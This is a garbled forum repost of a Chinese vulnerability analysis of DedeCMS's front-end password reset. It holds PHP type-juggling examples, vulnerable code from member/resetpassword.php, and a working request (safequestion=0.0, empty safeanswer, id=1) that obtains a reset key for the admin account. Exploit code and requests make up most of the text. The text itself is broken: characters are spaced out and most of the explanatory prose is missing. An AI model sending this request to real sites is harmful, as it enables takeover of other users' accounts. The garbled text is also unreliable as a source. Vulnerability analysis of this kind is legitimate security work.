[26591] 2018-01-18_【漏洞分析】织梦前台任意用户密码修改

文档创建者:s7ckTeam
浏览次数:13
最后更新:2025-01-19
2018-01-18_【漏洞分析】织梦前台任意用户密码修改     b i g c o w     2 0 1 8 - 0 1 - 1 8 G E T P O S T i n t P H P P H P p h p < ? p h p v a r _ d u m p ( 0   = =   ' 0 ' ) ;   / /   t r u e v a r _ d u m p ( 0   = =   ' a b c ' ) ;   / /   t r u e   v a r _ d u m p ( 0   = = =   ' a b c ' ) ;   / /   f a l s e v a r _ d u m p ( 1   = =   ' 1 a b c ' ) ;   / /   t r u e v a r _ d u m p ( ' 1 e 0 ' = = ' 1 e 2 ' ) ;   / /   f a l s e v a r _ d u m p ( ' 0 . 0 ' = = 0 ) ;   / /   t r u e v a r _ d u m p ( ' 0 . 0 ' = = ' ' ) ;   / / f a l s e / / i f ( m d 5 ( ' s 8 7 8 9 2 6 1 9 9 a ' ) = = 0 ) {         e c h o   ' t r u e ' ; }
? > m d 5 ( ' s 8 7 8 9 2 6 1 9 9 a ' ) = 0 e 5 4 5 9 9 3 2 7 4 5 1 7 7 0 9 0 3 4 3 2 8 8 5 5 8 4 1 0 2 0 0 n 0 " 0 e 1 2 3 4 5 6 a b c " = = " 0 e 1 d d d a d a " / / f a l s e < ? p h p i f ( s t r c m p ( ' 1 a ' , 1 ) ) {         e c h o   ' t e s t ' ; } ? > < ? p h p i f   ( i s s e t ( $ _ G E T [ ' w h i c h ' ] ) ) {                 $ w h i c h   =   $ _ G E T [ ' w h i c h ' ] ;                 s w i t c h   ( $ w h i c h )                 {                 c a s e   0 :                 c a s e   1 :                 c a s e   2 :               r e q u i r e _ o n c e   $ w h i c h . ' . p h p ' ;               b r e a k ;                 } } ? > < ? p h p
v a r _ d u m p ( i n _ a r r a y ( " 1 a " ,   a r r a y ( 1 , 2 , 3 ) ) ) ; ? > I n _ a r r a y a r r a y _ s e a r c h i n _ a r r a y t r u e   m d 5 ( ) $ a r r a y 1 [ ]   =   a r r a y (   " f o o "   = >   " b a r " ,   " b a r "   = >   " f o o " , ) ; $ a r r a y 2   =   a r r a y ( " f o o " ,   " b a r " ,   " h e l l o " ,   " w o r l d " ) ; v a r _ d u m p ( m d 5 ( $ a r r a y 1 ) = = m d 5 ( $ a r r a y 2 ) ) ; 0 x P H P 0 × 1 2 4 0 1 2 3 4 5 6 i n t s t r i n g 1 2 3 4 5 6 < ? p h p i f ( i n _ a r r a y ( " 1 a " ,   a r r a y ( 1 , 2 , 3 ) , t r u e ) ) {         e c h o   ' t r u e ' ; } ? > / / t r u e " 0 x 1 e 2 4 0 " = = " 1 2 3 4 5 6 " / / t r u e " 0 x 1 e 2 4 0 " = = 1 2 3 4 5 6 / / t r u e " 0 x 1 e 2 4 0 " = = " 1 e 2 4 0 " / / f a l s e
d e d e c m s / m e m b e r / r e s e t p a s s w o r d . p h p             / / 7 5 e l s e   i f ( $ d o p o s t   = =   " s a f e q u e s t i o n " ) {         $ m i d   =   p r e g _ r e p l a c e ( " # [ ^ 0 - 9 ] # " ,   " " ,   $ i d ) ;         $ s q l   =   " S E L E C T   s a f e q u e s t i o n , s a f e a n s w e r , u s e r i d , e m a i l   F R O M   # @ _ _ m e m b e r   W H E R E   m i d   =   ' $ m i d ' " ;         $ r o w   =   $ d b - > G e t O n e ( $ s q l ) ;         i f ( e m p t y ( $ s a f e q u e s t i o n ) )   $ s a f e q u e s t i o n   =   ' ' ;         i f ( e m p t y ( $ s a f e a n s w e r ) )   $ s a f e a n s w e r   =   ' ' ;         i f ( $ r o w [ ' s a f e q u e s t i o n ' ]   = =   $ s a f e q u e s t i o n   & &   $ r o w [ ' s a f e a n s w e r ' ]   = =   $ s a f e a n s w e r )         {                 s n ( $ m i d ,   $ r o w [ ' u s e r i d ' ] ,   $ r o w [ ' e m a i l ' ] ,   ' N ' ) ;                 e x i t ( ) ;         }         e l s e         {                 S h o w M s g ( " " , " - 1 " ) ;                 e x i t ( ) ;         } } a d m i n $ r o w [ ' s a f e q u e s t i o n ' ] 0 $ s a f e q u e s t i o n $ r o w [ ' s a f e q u e s t i o n ' ]   = =   $ s a f e q u e s t i o n $ _ G E T [ s a f e q u e s t i o n   ] $ _ G E T [ s a f e q u e s t i o n   ] 0 i f ( e m p t y ( $ s a f e q u e s t i o n ) ) $ _ G E T [ s a f e q u e s t i o n   ] 0 . 0 i f ( e m p t y ( $ s a f e q u e s t i o n ) ) 0 = 0 . 0 i f ( $ r o w [ ' s a f e q u e s t i o n ' ]   = =   $ s a f e q u e s t i o n   & &   $ r o w [ ' s a f e a n s w e r ' ]   = =   $ s a f e a n s w e r ) $ s a f e a n s w e r s n f u n c t i o n   s n ( $ m i d , $ u s e r i d , $ m a i l t o ,   $ s e n d   =   ' Y ' ) { d e d e c m s
        g l o b a l   $ d b ;         $ t p t i m =   ( 6 0 * 1 0 ) ;         $ d t i m e   =   t i m e ( ) ;         $ s q l   =   " S E L E C T   *   F R O M   # @ _ _ p w d _ t m p   W H E R E   m i d   =   ' $ m i d ' " ;         $ r o w   =   $ d b - > G e t O n e ( $ s q l ) ;         i f ( ! i s _ a r r a y ( $ r o w ) )         {                 / /                 n e w m a i l ( $ m i d , $ u s e r i d , $ m a i l t o , ' I N S E R T ' , $ s e n d ) ;         }         / / 1 0         e l s e i f ( $ d t i m e   -   $ t p t i m   >   $ r o w [ ' m a i l t i m e ' ] )         {                 n e w m a i l ( $ m i d , $ u s e r i d , $ m a i l t o , ' U P D A T E ' , $ s e n d ) ;         }         / /         e l s e         {                 r e t u r n   S h o w M s g ( ' 1 0 ' ,   ' l o g i n . p h p ' ) ;         } } $ s q l   =   " S E L E C T   *   F R O M   # @ _ _ p w d _ t m p   W H E R E   m i d   =   ' $ m i d ' " ;       i f ( ! i s _ a r r a y ( $ r o w ) )         {                 / /                 n e w m a i l ( $ m i d , $ u s e r i d , $ m a i l t o , ' I N S E R T ' , $ s e n d ) ; } $ s e n d N n e w m a i l f u n c t i o n   n e w m a i l ( $ m i d ,   $ u s e r i d ,   $ m a i l t o ,   $ t y p e ,   $ s e n d ) {         g l o b a l   $ d b , $ c f g _ a d m i n e m a i l , $ c f g _ w e b n a m e , $ c f g _ b a s e h o s t , $ c f g _ m e m b e r u r l ;         $ m a i l t i m e   =   t i m e ( ) ;         $ r a n d v a l   =   r a n d o m ( 8 ) ;         $ m a i l t i t l e   =   $ c f g _ w e b n a m e . " : " ;         $ m a i l t o   =   $ m a i l t o ;         $ h e a d e r s   =   " F r o m :   " . $ c f g _ a d m i n e m a i l . " r n R e p l y - T o :   $ c f g _ a d m i n e m a i l " ;
        $ m a i l b o d y   =   " " . $ u s e r i d . " r n 使 " . $ c f g _ w e b n a m e . " r n " . $ c f g _ w e b n a m e . " r n " . $ r a n d v a l . "   r n " . $ c f g _ b a s e h o s t . $ c f g _ m e m b e r u r l . " / r e s e t p a s s w o r d . p h p ? d o p o s t = g e t p a s s w d & i d = " . $ m i d ;         i f ( $ t y p e   = =   ' I N S E R T ' )         {                 $ k e y   =   m d 5 ( $ r a n d v a l ) ;                 $ s q l   =   " I N S E R T   I N T O   ` # @ _ _ p w d _ t m p `   ( ` m i d `   , ` m e m b e r n a m e `   , ` p w d `   , ` m a i l t i m e ` ) V A L U E S   ( ' $ m i d ' ,   ' $ u s e r i d ' ,     ' $ k e y ' , ' $ m a i l t i m e ' ) ; " ;                 i f ( $ d b - > E x e c u t e N o n e Q u e r y ( $ s q l ) )                 {                         i f ( $ s e n d   = =   ' Y ' )                         {                                 s e n d m a i l ( $ m a i l t o , $ m a i l t i t l e , $ m a i l b o d y , $ h e a d e r s ) ;                                 r e t u r n   S h o w M s g ( ' E M A I L ' ,   ' l o g i n . p h p ' , ' ' , ' 5 0 0 0 ' ) ;                         }   e l s e   i f   ( $ s e n d   = =   ' N ' )                         {                                 r e t u r n   S h o w M s g ( ' ' ,   $ c f g _ b a s e h o s t . $ c f g _ m e m b e r u r l . " / r e s e t p a s s w o r d . p h p ? d o p o s t = g e t p a s s w d & a m p ; i d = " . $ m i d . " & a m p ; k e y = " . $ r a n d v a l ) ;                         }                 }                 e l s e                 {                         r e t u r n   S h o w M s g ( ' ' ,   ' l o g i n . p h p ' ) ;                 } } d e d e _ p w d _ t m p $ r a n d v a l   =   r a n d o m ( 8 ) ; 8 S h o w M s g ( ' ' ,   $ c f g _ b a s e h o s t . $ c f g _ m e m b e r u r l . " / r e s e t p a s s w o r d . p h p ? d o p o s t = g e t p a s s w d & a m p ; i d = " . $ m i d . " & a m p ; k e y = " . $ r a n d v a l ) ; i n s e r t $ r a n d v a l
k e y k e y 访 h t t p : / / l o c a l h o s t / t e s t . p h p ? i = 0 . 0 d o p o s t = s a f e q u e s t i o n & s a f e q u e s t i o n = 0 . 0 & s a f e a n s w e r = & i d = 1 使 = = = . 沿 沿 m a r k e t @ j e e s e e n . c o m  

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则